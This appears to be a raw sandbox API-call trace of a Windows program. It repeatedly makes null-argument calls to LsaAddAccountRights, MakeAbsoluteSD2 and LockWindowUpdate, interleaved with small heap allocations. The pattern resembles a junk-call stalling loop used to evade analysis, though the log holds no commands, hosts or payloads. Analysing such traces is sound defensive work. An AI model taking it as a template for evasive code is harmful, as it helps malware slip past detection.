	[0048.933] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.933] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.934] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.934] GetLastError () returned 0x57
	[0048.934] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.934] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.935] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.935] GetLastError () returned 0x57
	[0048.935] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.935] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] GetLastError () returned 0x57
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] GetLastError () returned 0x57
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] GetLastError () returned 0x57
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] GetLastError () returned 0x57
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.936] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.936] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.936] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.937] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.937] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.937] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.937] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.937] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.938] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.938] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.938] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.938] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.939] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.939] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.939] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.939] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.978] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.978] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.978] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.979] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.979] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.979] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.979] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.979] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.979] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.979] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.979] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.981] GetLastError () returned 0x57
	[0048.981] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.981] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.981] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.982] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.982] GetLastError () returned 0x57
	[0048.982] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.984] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.984] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.984] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.984] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.984] GetLastError () returned 0x57
	[0048.985] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.985] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.985] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.985] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.985] GetLastError () returned 0x57
	[0048.987] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.987] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.987] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.987] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.987] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.987] GetLastError () returned 0x57
	[0048.987] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.987] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.988] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.988] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.988] GetLastError () returned 0x57
	[0048.988] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.988] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.990] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.990] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.990] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.990] GetLastError () returned 0x57
	[0048.990] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.990] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.991] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.991] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.991] GetLastError () returned 0x57
	[0048.991] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.991] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.992] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.992] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.992] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.992] GetLastError () returned 0x57
	[0048.992] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.992] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0048.993] LockWindowUpdate (hWndLock=0x0) returned 0
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.993] GetLastError () returned 0x57
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.993] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.993] GetLastError () returned 0x57
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.993] GetLastError () returned 0x57
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.993] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.993] GetLastError () returned 0x57
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.993] GetLastError () returned 0x57
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.993] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.993] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.993] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.993] GetLastError () returned 0x57
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.994] GetLastError () returned 0x57
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.994] MakeAbsoluteSD2 (in: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0 | out: pSelfRelativeSecurityDescriptor=0x0, lpdwBufferSize=0x0) returned 0
	[0048.994] GetLastError () returned 0x57
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0048.994] GetLastError () returned 0x57
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0048.994] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0048.994] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
